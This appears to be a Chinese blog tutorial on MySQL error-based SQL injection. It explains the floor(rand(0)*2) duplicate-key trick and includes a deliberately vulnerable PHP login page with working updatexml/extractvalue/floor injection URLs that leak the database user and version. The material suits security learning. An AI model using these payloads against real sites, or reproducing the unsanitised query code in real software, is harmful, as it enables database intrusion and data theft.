SQL注入——报错注入
0x00 背景
SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。这篇文章会讲解一下报错注入的产生原理和利用案例。
0x01 十种报错注入
这十种方式在这里不多讲了,详情移步https://www.cnblogs.com/wocalieshenmegui/p/5917967.html。平时我们最常用到的三种报错注入方式分别是:floor()、updatexml()、extractvalue()。
0x02 报错注入的原理
为了弄清报错注入的原理,首先先创建了一个名为sqli的数据库,然后建表插入数据:
- mysql> create database sqli;
- mysql> create table user (
- id int(11) not null auto_increment primary key,
- name varchar(20) not null,
- pass varchar(32) not null
- );
- mysql> insert into user (name, pass) values ('admin', md5('admin')), ('guest', md5('guest'));
我们先看一个基于floor()的报错SQL语句:
- select count(*),(concat(floor(rand(0)*2),(select version())))x from user group by x;
如果是第一次接触报错注入的话,一般会有这么几个问题。
Q1.floor()函数是什么?
A1.floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。
Q2.rand(0)是什么意思?
A2.rand()函数可以用来生成0或1,但是rand(0)和rand()还是有本质区别的,rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数成成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成,我们可以在数据库中尝试一下。首先测试rand()
我们再测试一下rand(0)的效果
很显然rand(0)是伪随机的,有规律可循,这也是我们采用rand(0)进行报错注入的原因,rand(0)是稳定的,这样每次注入都会报错,而rand()则需要碰运气了,我们测试结果如下
Q3.为什么会出现报错?
A3.我们看一下报错的内容:Duplicate entry '15.5.53' for key 'group_key'。意思是说group_key条目重复。我们使用group by进行分组查询的时候,数据库会生成一张虚拟表
在这张虚拟表中,group by后面的字段作为主键,所以这张表中主键是name,这样我们就基本弄清报错的原因了,其原因主要是因为虚拟表的主键重复。按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。
0x03 案例
//以下案例代码是抄的
数据库可以继续使用之前的数据库,我们在Web根目录下建立sqli.php
- <?php
- $conn = mysql_connect("localhost", "root", "123456"); // 连接数据库,账号root,密码root
- if (!$conn) {
- die("Connection failed: " . mysql_error());
- }
- mysql_select_db("sqli", $conn);
- // verify login info
- if (isset($_GET['name']) && isset($_GET['pass'])) {
- $name = $_GET['name'];
- $pass = md5($_GET['pass']);
- $query = "select * from user where name='$name' and pass='$pass'";
- if ($result = mysql_query($query, $conn)) {
- $row = mysql_fetch_array($result, MYSQL_ASSOC);
- if ($row) {
- echo "<script>alert('login successful!');</script>";
- }
- } else {
- die("Operation error: " . mysql_error());
- }
- }
- mysql_close();
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>Login</title>
- </head>
- <body>
- <center>
- <form method="get" action="">
- <label>Username:</label><input type="text" name="name" value=""/><br/>
- <label>Password:</label><input type="password" name="pass" value=""/><br/>
- <input type="submit" value="login"/>
- </form>
- </center>
- </body>
- </html>
在代码的11-14行是登陆验证模块,可以看到程序以GET形式获取了name和pass参数,没有经过任何过滤直接带入了查询语句,这里明显的存在SQL注入漏洞,我们用floor()报错注入进行尝试。
- http://localhost/sqli.php?name=' or (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) # &pass=123
我们再分别用updatexml()和extractvalue()分别进行尝试(原理各不相同,但是思路均是认为构造数据库的错误)
- http://localhost/sqli.php?name=' or extractvalue(1,concat(user(),0x7e,version())) # &pass=1
- http://localhost/index.php?name=' or updatexml(1,concat(user(),0x7e,version()),1) # &pass=1
SQL注入——报错注入的更多相关文章
- sql注入 报错注入常用的三种函数
1.floor()函数 报错原因是 报错的原因是因为rand()函数在查询的时候会执行一次,插入的时候还会执行一次.这就是整个语句报错的关键 前面说过floor(rand(0)*2) 前六位是0110 ...
- ctfhub技能树—sql注入—报错注入
打开靶机 payload 1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.c ...
- MSSQL手工注入 报错注入方法
例子:www.kfgtfcj.gov.cn/lzygg/Zixun_show.aspx?id=1[1]首先爆版本:http://www.kfgtfcj.gov.cn/lzygg/Zixun_show. ...
- 某SQL注入--报错注入payload
1.证明存在sql注入,根据这个报错语句,,有' 有% 2.payload 闭合语句 %' or (select extractvalue("anything",concat( ...
- 渗透之路基础 -- SQL进阶(盲注和报错注入)
SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...
- 实战记录之SQL server报错手工注入
前言 最近测试了一个站点,这个站点挺有意思,发现没有关闭错误提示,初步猜测是SQL server数据库,后来验证确实是.在这里记录一下实战过程,并详细讲解一下用到的知识点. SQL server报错注 ...
- [原题复现][极客大挑战 2019]HardSQL(updatexml报错注入)
简介 原题复现: 考察知识点:SQL注入(报错注入,绕过过滤) 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台 特别感谢!) 榆林学院内可使用信安协会内部的CTF训练平 ...
- Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]
在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ...
- sql注入--双查询报错注入
sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...
随机推荐
- 关于VMware vSphere Client安装时,.net framework4进度条卡住不动(亲测)
亲测有用的办法 1.点击电脑桌面右下角的"开始"按钮,点击"运行"按钮,在弹出的节目输入框中输入"regedit". 2.在弹出来的&quo ...
- redis3.2.2 集群
http://blog.csdn.net/imxiangzi/article/details/52431729 http://www.2cto.com/kf/201701/586689.html me ...
- Photoshop 更换证件照底色
1.打开photoshop CS6. 2.打开照片 (上栏)文件---->打开 或者,直接把照片拖进ps中. 3.复制图层 右击背景,点击复制图层 (复制图层的作用是,如果对图层操作错误,可以 ...
- raspberry pi-php-exec
遇到的问题是在树莓派上搭建的web服务器,想通过网页操控树莓派的gpio,网页是通过php实现的,通过php的exec函数调用写好的程序实现对gpio的操作,但是赖何没有效果,分析也知道是权限问题,最 ...
- Vulkan 之 Debugging
1.可以用validation layers 进行验证: 2.Snapdragon Profiler 使用说明
- 117-PHP在外部无法调用private类成员函数
<?php class ren{ //定义人类 public function walk(){ //定义public成员方法 echo '我会走路.'; } private function d ...
- vzray服务端配置
打开securecrt登陆服务器 输入命令:bash <(curl -s -L https://git.io/vzray.sh)1 回车tcp 回车端口 回车默认 回车
- c++程序—布尔值
#include<iostream> using namespace std; #include<string> int main() { //创建bool数据类型 bool ...
- UVA - 557 Burger(汉堡)(dp+概率)
题意:有n个牛肉堡和n个鸡肉堡给2n个孩子吃.每个孩子在吃之前都要抛硬币,正面吃牛肉堡,反面吃鸡肉堡.如果剩下的所有汉堡都一样,则不用抛硬币.求最后两个孩子吃到相同汉堡的概率. 分析: 1.先求最后两 ...
- 每天一点点之vue框架开发 - 部署到线上
1.在项目根目录下运行如下命令 npm run build 会生成一个dist目录, 2.然后将dist目录上传至服务器就可以访问页面了,不需要配置vue环境了.